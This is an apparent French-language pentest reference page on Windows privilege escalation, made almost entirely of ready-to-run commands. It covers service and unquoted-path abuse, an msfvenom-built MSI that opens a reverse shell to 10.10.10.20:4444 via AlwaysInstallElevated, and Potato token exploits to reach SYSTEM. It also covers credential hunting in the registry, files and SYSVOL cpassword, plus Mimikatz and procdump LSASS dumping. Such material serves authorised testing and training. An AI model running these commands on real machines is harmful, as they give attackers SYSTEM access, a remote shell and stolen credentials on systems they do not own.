---
title: Windows privesc
description: "Services, tokens, tâches planifiées et credentials : élever ses privilèges sur Windows."
category: post
kind: technique
tags: [privesc, windows, services, tokens, mimikatz]
level: intermediate
updated: 2026-11-07
order: 4
aliases: ["windows privilege escalation", "winpeas"]
---

## Contexte

```powershell
whoami /all
systeminfo
wmic qfe list brief
Get-HotFix
```

```powershell
# Groupes et privilèges actuels
whoami /groups
whoami /priv
```

Privilèges intéressants : `SeImpersonatePrivilege`, `SeAssignPrimaryTokenPrivilege`, `SeBackupPrivilege`, `SeDebugPrivilege`, `SeTakeOwnershipPrivilege`.

## Services

```powershell
# Services et chemins
Get-CimInstance Win32_Service | Select Name,State,StartMode,PathName

# Permissions sur le binaire d'un service
icacls "C:\Program Files\Vuln\service.exe"

# Service non quoté
Get-CimInstance Win32_Service | Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match ' '}
```

```powershell
# PowerUp
. .\PowerUp.ps1
Invoke-AllChecks

# SharpUp
SharpUp.exe audit
```

Vulnérabilités classiques :

| Problème | Exploit |
| --- | --- |
| Binaire de service modifiable | Remplacer l'exe, redémarrer le service |
| Chemin non quoté | Placer `C:\Program.exe` avant l'espace |
| Permissions faibles sur le dossier | DLL hijack / remplacement |
| `AlwaysInstallElevated` | MSI exécuté en SYSTEM |

```powershell
# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi
```

## Tokens

```powershell
# Vérifier SeImpersonate
whoami /priv | findstr Impersonate
```

```powershell
# Potato family (selon version Windows)
PrintSpoofer.exe -i -c "cmd /c whoami"
GodPotato.exe -cmd "cmd /c whoami"
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
```

> [!TIP]
> `SeImpersonate` sur un compte de service IIS ou MSSQL est un chemin direct vers SYSTEM. Si les Potato classiques sont bloqués, teste `RoguePotato`, `SweetPotato` ou une attaque par named pipe.

## Tâches planifiées et credentials

```powershell
# Tâches et permissions
schtasks /query /fo LIST /v
Get-ScheduledTask | ForEach-Object { $_.Principal | Select UserId }

# Credentials stockés
cmdkey /list
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
findstr /si password *.xml *.ini *.txt *.config 2>nul

# GPP cpassword
findstr /S /I cpassword \\domain.local\sysvol\domain.local\*.xml
```

```powershell
# winPEAS
.\winPEASx64.exe
```

## Dump de credentials

```powershell
# Mimikatz (admin ou SYSTEM requis)
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::lsa /patch

# Depuis un dump LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# puis, hors ligne :
pypykatz lsa minidump lsass.dmp
```

```powershell
# Chercher les fichiers de credentials
findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem -Recurse -Include *.kdbx,*.rdp,*.ovpn -ErrorAction SilentlyContinue
```

> [!TIP]
> Un dump LSASS fournit des hashs NTLM et parfois des mots de passe en clair selon la configuration (WDigest). C'est souvent le chemin le plus court vers un autre compte, mais aussi l'action la plus détectée par les EDR.

## UAC et énumération rapide

```powershell
# Niveau UAC
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

# UACME / fodhelper (si admin dans le groupe local)
# Vérifier les groupes : Administrators, Backup Operators
net localgroup administrators
```

> [!WARNING]
> Les exploits de tokens et UAC bypass dépendent étroitement de la build Windows. Vérifie la version avant d'exécuter un binaire trouvé sur GitHub : un exploit incompatible peut provoquer un BSOD ou couper le service. Sur un serveur critique, privilégie la preuve de concept non destructive.
